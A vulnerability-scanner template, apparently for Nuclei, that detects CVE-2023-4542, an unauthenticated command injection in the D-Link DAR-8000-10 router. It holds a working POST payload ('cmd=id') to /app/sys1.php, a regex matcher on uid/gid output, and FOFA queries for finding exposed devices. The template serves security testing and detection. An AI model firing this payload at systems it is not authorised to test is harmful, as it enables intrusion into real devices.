CVE-2023-4542: D-Link DAR-8000-10 - Command Injection

id: CVE-2023-4542

info:
  name: D-Link DAR-8000-10 - Command Injection
  author: pussycat0x
  severity: critical
  description: |
    D-Link DAR-8000-10 version has an operating system command injection vulnerability. The vulnerability originates from the parameter id of the file /app/sys1.php which can lead to operating system command injection.
  reference:
    - https://github.com/20142995/sectool
    - https://github.com/tanjiti/sec_profile
    - https://github.com/wy876/POC/blob/main/D-Link_DAR-8000%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E(CVE-2023-4542).md
    - https://vuldb.com/?ctiid.238047
    - https://vuldb.com/?id.238047
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-4542
    cwe-id: CWE-78
    epss-score: 0.92324
    epss-percentile: 0.99715
    cpe: cpe:2.3:o:dlink:dar-8000-10_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dlink
    product: dar-8000-10_firmware
    fofa-query:
      - body="DAR-8000-10" && title="D-Link"
      - body="dar-8000-10" && title="d-link"
  tags: cve,cve2023,dlink,vkev

http:
  - raw:
      - |
        POST /app/sys1.php HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded

        cmd=id

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"

      - type: status
        status:
          - 200
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